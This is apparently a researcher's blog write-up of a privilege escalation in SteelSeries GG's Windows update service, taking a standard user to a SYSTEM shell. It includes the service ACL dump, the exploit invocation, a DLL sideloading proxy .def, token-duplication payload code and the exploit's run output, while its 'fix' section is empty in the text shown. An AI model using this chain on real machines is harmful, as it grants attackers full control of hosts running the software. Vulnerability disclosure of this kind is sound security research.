_._     _,-'""`-._
(,-.`._,'(       |\`-/|
    `-.-' \ )-`( , o o)
          `-    \`_`"'-

SteelSeries GG: standard user to SYSTEM, by way of an update service that trusts its caller

2026-06-13 · lpewindowsdll-sideloadingauthenticodeservice-aclcwe-269cwe-732cwe-426cwe-347

Beware of false prophets, which come to you in sheep's clothing, but inwardly they are ravening wolves.

Matthew 7:15 (KJV)

the MX Linux snapshot bug was the kernel sending me back down to userspace. this one is Windows, and the target is the same kind of thing it usually is. software that ships to every install, runs as the most privileged account on the box, and gets audited by nobody, because it doesn't look like an attack surface. it looks like a tray icon.

gamer peripheral suites are full of this. every keyboard and headset vendor ships a companion app that wants to update itself without bothering you, and "update itself without bothering you" is a service running as SYSTEM whose job is to fetch a file and run it. that's the whole job. all that's left to ask is how carefully it was done. i went through a stack of these suites in the lab. SteelSeries' own Sonar audio driver is clean, KMDF with nothing on its IOCTL surface. then i got to the updater inside SteelSeries GG, which was not done carefully at all.

what follows is a standard user with no groups getting an interactive NT AUTHORITY\SYSTEM prompt on the desktop. no consent dialog, no race, no reboot. three plain mistakes that happen to line up.

the service anyone can start

GG installs a SYSTEM service named SteelSeriesGGUpdateServiceProxy. a SYSTEM service is normal and fine. the thing to look at is its DACL, who's allowed to do what to it, and you dump that with sc sdshow:

# sc sdshow SteelSeriesGGUpdateServiceProxy
D:(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCRP;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;BA)...

# that AU ace decodes to, in service SDDL:
SERVICE_QUERY_CONFIG | SERVICE_QUERY_STATUS | SERVICE_START   # for any authenticated user

AU is the well-known SID for Authenticated Users, anybody who logged in with a password, which is to say everybody. and that RP on the end of the mask is SERVICE_START. any user can start this service. on Windows that isn't a silent act either: you pass arguments when you start it, and they land in the service's OnStart.

# standard user, no admin; the args ride straight into OnStart
sc start SteelSeriesGGUpdateServiceProxy <arg> <arg> <arg> ...

so nothing is exploited yet. an unprivileged user is just allowed to press the button, and allowed to write on the button. the next question is what the button does.

what it does as SYSTEM

the proxy is a small .NET shim and decompiles cleanly (ikdasm or monodis on the IL). it's careful in one place and sloppy in another. careful: it Authenticode- and symlink-checks the real updater before launching it. but that updater lives in a locked, SYSTEM-only directory, so there's nothing to do there. sloppy: it forwards my arguments straight through, all of them:

--installPath   --dataPath   --mode   --installPackageName   --checksum   --type

those go to the real updater, SteelSeriesGGUpdateService.exe, which is written in Go. (Go throws off the managed decompilers and confuses the native ones into nonsense; you read it headless in IDA, and you read the log strings, which Go leaves lying around everywhere.) the path that matters is main → StartUpdate → verifyAndRunInstaller, and here's what it does with the arguments i just handed it, as SYSTEM:

there's one more catch, and i found it the dumb way, by feeding it wrong arguments and reading the log line Incorrect installation parameters until it stopped: the dispatcher only proceeds for --mode install --type full.

so i own the directory, the filename, and the checksum. the one thing i can't produce is a binary WinVerifyTrust will accept as SteelSeries-signed. that's the real check in the chain. it's also the wrong one.

the signature was the easy part

the verifier answers one question, is this file signed by SteelSeries, and then proceeds as if it had answered a bigger one: and so everything that happens when i run it is SteelSeries' code. it hasn't. every DLL that binary loads lives in the space between those two readings.

so i don't forge anything. i bring a real signed binary.

SteelSeriesEngine.exe is a genuine, valid, GN-signed SteelSeries EXE. (GN Hearing owns SteelSeries and their software signs under the parent cert, which is why that name is on the allowlist, and also why, if you filter your tooling for the string "SteelSeries", you'll hide half the binaries you care about. filter for GN.) i drop the untampered EXE into the Users-writable updates directory. WinVerifyTrust is happy because it's genuinely signed, the org is on the list, and it's a real file so there's no symlink. every gate clears, because every gate was about the EXE, and the EXE is clean.

my code is in the DLL next to it.

SteelSeriesEngine.exe statically imports SSEdevice.dll, a non-system DLL that Windows resolves out of the application directory before it looks anywhere else. so i write my own SSEdevice.dll into that same directory. it can't be a stub. the loader bails on the EXE if even one of the 43 imported exports is missing, so it's a forwarding proxy. rename the genuine DLL to SSEorig.dll, and forward every export to it:

# SSEdevice.def
LIBRARY SSEdevice
EXPORTS
    DeviceLib_Initialize = SSEorig.DeviceLib_Initialize
    DeviceLib_GetDevices = SSEorig.DeviceLib_GetDevices
    Sequencer_Initialize = SSEorig.Sequencer_Initialize
    Syncer_Initialize    = SSEorig.Syncer_Initialize
    ... all 43 imported names, forwarded ...
# x86_64-w64-mingw32-gcc -shared -o SSEdevice.dll payload.c SSEdevice.def -lwtsapi32 -luserenv

# what the dropper stages into the Users-writable dir:
%ProgramData%\SteelSeries\GG\updates\meow\updates\
  setup.exe       # genuine GN-signed SteelSeriesEngine.exe, renamed.  WinVerifyTrust: OK
  SSEdevice.dll   # mine: 43 forwarders + DllMain payload.           loaded as SYSTEM
  SSEorig.dll     # the real SSEdevice.dll, renamed.                 so imports still snap

imports resolve, the EXE runs exactly as intended, and my DllMain runs first, as SYSTEM, before its main ever gets a turn. nothing is timed and nothing is racing. the loader does all the work for me.

from DllMain to a shell you can see

SYSTEM code execution isn't a shell yet. DllMain runs on session 0, the headless service session; spawn cmd.exe from there and it opens on a desktop nobody is watching. the last step is crossing into the session the human is actually sitting in.

off the loader lock (the work runs on a thread spun out of DllMain, not inline), the SYSTEM token gets duplicated, retargeted at the live session, and handed to a fresh cmd.exe on the interactive desktop. the whole payload is about a dozen lines:

// SSEdevice.dll, DllMain thread, running as SYSTEM
DWORD sess = WTSGetActiveConsoleSessionId();
OpenProcessToken(GetCurrentProcess(),
    TOKEN_DUPLICATE|TOKEN_ASSIGN_PRIMARY|TOKEN_QUERY|TOKEN_ADJUST_DEFAULT|TOKEN_ADJUST_SESSIONID, &hTok);
DuplicateTokenEx(hTok, MAXIMUM_ALLOWED, 0, SecurityImpersonation, TokenPrimary, &hDup);
SetTokenInformation(hDup, TokenSessionId, &sess, sizeof sess);   // session 0 -> console
STARTUPINFOW si = { sizeof si }; si.lpDesktop = L"winsta0\\default";
CreateProcessAsUserW(hDup, L"C:\\Windows\\System32\\cmd.exe", L"cmd.exe", 0, 0, FALSE,
    CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT, env, 0, &si, &pi);

live

standard user noob, Medium integrity, no admin, no groups worth the name. the dropper stages the three files, computes its own checksum, and starts the service. it runs itself the rest of the way:

C:\...\SteelSeries_GG_LPE> whoami /groups | findstr /i "high admin"
C:\...\SteelSeries_GG_LPE>                     # nothing. Medium IL, no admin.

C:\...\SteelSeries_GG_LPE> exploit.exe
  SteelSeries GG  !::  UNPRIV'd -> NT AUTHORITY\SYSTEM  ::!  Meow!
  [*] staging payloads into C:\ProgramData\SteelSeries\GG\updates\meow\updates
    [+] setup.exe     -> ...\meow\updates\setup.exe
    [+] SSEdevice.dll -> ...\meow\updates\SSEdevice.dll
    [+] SSEorig.dll   -> ...\meow\updates\SSEorig.dll
  [*] setup.exe MD5 = 1B7E9C4F0A2D8E5519C3A6F7B0D41E22   # we supply the file and the hash
  [*] ACL piss weak - starting SYSTEM service...
  # under the hood: sc start SteelSeriesGGUpdateServiceProxy --installPath ...\setup.exe
  #                 --installPackageName setup.exe --dataPath ...\meow --checksum 1B7E... --mode install --type full

# a new console just opened on the desktop. in it:
C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32> tasklist /v /fi "pid eq 17976"
cmd.exe   17976   1   NT AUTHORITY\SYSTEM

a user with nothing pressed a button it was allowed to press, and a SYSTEM console opened on its desktop.

the fix

four links, and the vendor fix cuts all of them, which is the right call, because any one cut on its own stops the box:

the lesson

signature checks feel like the strong part of an updater, so that's where the care goes, and that's where the false confidence pools right next to it. WinVerifyTrust was right every single time here. the binary really was SteelSeries'. the bug was never in the crypto. it was in what the developers thought the crypto was telling them. signed meant these bytes came from the vendor; they read it as everything this process does is the vendor's intent. a loadable DLL in a writable folder is the gap between those two, and it's wide enough to walk a SYSTEM shell through.

the guard checked the coat and waved the man inside.

. _SiCk · 0xdeadbeefnetwork · afflicted.sh